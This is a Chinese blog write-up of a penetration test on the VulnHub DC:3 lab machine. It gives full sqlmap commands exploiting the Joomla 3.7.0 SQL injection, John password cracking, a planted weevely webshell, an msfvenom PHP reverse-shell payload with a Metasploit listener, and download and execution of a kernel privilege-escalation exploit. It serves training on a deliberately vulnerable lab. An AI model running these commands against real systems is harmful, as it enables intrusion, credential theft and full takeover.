vulnhub-DC:3靶机渗透记录
准备工作
在vulnhub官网下载DC:3靶机www.vulnhub.com/entry/dc-3,312/
导入到vmware
导入的时候遇到一个问题
解决方法:
点 “虚拟机”->“设置”->选择 “磁盘/光驱IDE设备" ->点 ”高级“,
将要 启动设备 设置到 IDE 0:0 上就可以了
打开kali准备进行渗透(ip:192.168.200.6)
信息收集
利用nmap进行ip端口探测
nmap -sS 192.168.200.6/24
探测到ip为192.168.200.14的靶机,开放了80端口,这里吸取到dc2的教训,再用nmap对所有端口进行探测
nmap -sV -p- 192.168.200.14
已经没有别的端口开放了,那就进入网站看看
首页给到的信息是只有一个flag和一个入口,让我们直接获取root权限,简单粗暴
网站用的是Joomla框架,可以使用joomscan工具获取其框架的详细版本信息
再用dirsearch对目录进行扫描看看有没有别的有用信息
dirsearch -u http://192.168.200.14:80
除了个后台登陆页面好像没有别的有用的信息了http://192.168.200.14/administrator/index.php
Joomla
使用joomscan进行扫描,在kali直接下载
apt install joomscan
joomscan -u 192.168.200.14
看到版本是joomla3.7.0
百度到joomla存在sql注入漏洞CVE-2017-8917
但在msf不能直接利用这个漏洞
只能在searchploit中查找关于这个漏洞的利用方法
searchsploit joomla 3.7
可以打开txt文件查看具体的利用方法说明(绝对路径为/usr/share/exploitdb/exploits/php/webapps/42033.txt)
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
直接告诉我们使用sqlmap,payload都写好给你了
漏洞利用——sql注入
使用sqlmap用刚刚得到的payload直接跑
sqlmap -u "http://192.168.200.14/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
得到5个数据库,接下来查看joomladb数据库中的表
sqlmap -u "http://192.168.200.14/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
拿到表名#__users,接下来查看列名
sqlmap -u "http://192.168.200.14/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]
拿到列名后就可以看数据了
sqlmap -u "http://192.168.200.14/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C name,password,username --dump -p list[fullordering]
得到加密的密码$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
去md5在线解密网站也解不出,但应该也是某种hash加密,只能祭出强大的John the Ripper(密码破解工具)
保存一下密码,直接用john爆破
得到密码snoopy
去之前扫到的后台登陆界面登陆后台
漏洞利用——文件上传
在后台管理页面中找到了文件上传的地方,准备测试一下有没有文件上传的漏洞
使用weevely(linux中的蚁剑)工具生成后门木马
weevely generate test test.php
这样就生成了后门木马
但这里的文件上传的地方好像不行,只能在里面创建一个文件,然后将代码复制进去
然后用weevely连接shell(这里的url是test.php的路径)
weevely http://192.168.200.14/templates/beez3/test.php test
连接成功,现在已经拿到一个webshell,但只有www-data权限,开始提权
权限提升
查看内核版本
uname -a
使用linux 4.4.0-21-generic #37-Ubuntu,在网上查找是ubuntu16.04
在searchploit寻找关于ubuntu16.04的权限提升的漏洞
searchsploit ubuntu 16.04 linux
打开文件查看漏洞具体利用方法
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
下载exp到dc3的本地
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
l
解压 unzip 39772.zip,再解压tar -xvf exploit.tar
接下来就执行刚刚漏洞利用文件演示的代码
./compile.sh
./doubleput
但是我不知道什么情况执行了之后报错,看了看别人的也有一位和我一样卡住不知道什么原因
就差最后一步就可以拿到flag了。。。以后有时间在看看是怎么回事
后面和朋友讨论了一下,登陆了后台之后,使用msf攻击模块就可以直接拿到shell,再执行漏洞文件,居然又可以了,搞不懂为什么weevely拿到的shell和msf的有区别
再试了另一种方法,使用msf进行后门连接,看看是不是文件上传的锅
使用msf生成后门,再像之前那样将生成的后门手动写入后台上
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.200.6 LPORT=4444 R > test.php
接着使用msf进行监听
use exploit/multi/handler //使用handler模块
set PAYLOAD php/meterpreter/reverse_tcp //设置payload
set LHOST 192.168.200.6 //监听
run
最后访问后门文件 ,拿到shell和之前的操作一样,同样可以提权。看来不是文件上传的锅。
将DC3靶机重装了之后,使用weevely同样不行,看来以后提权还是优先使用msf吧
参考文章
本文来自博客园,作者:1_Ry,转载请注明原文链接:https://www.cnblogs.com/1-Ry/p/15075074.html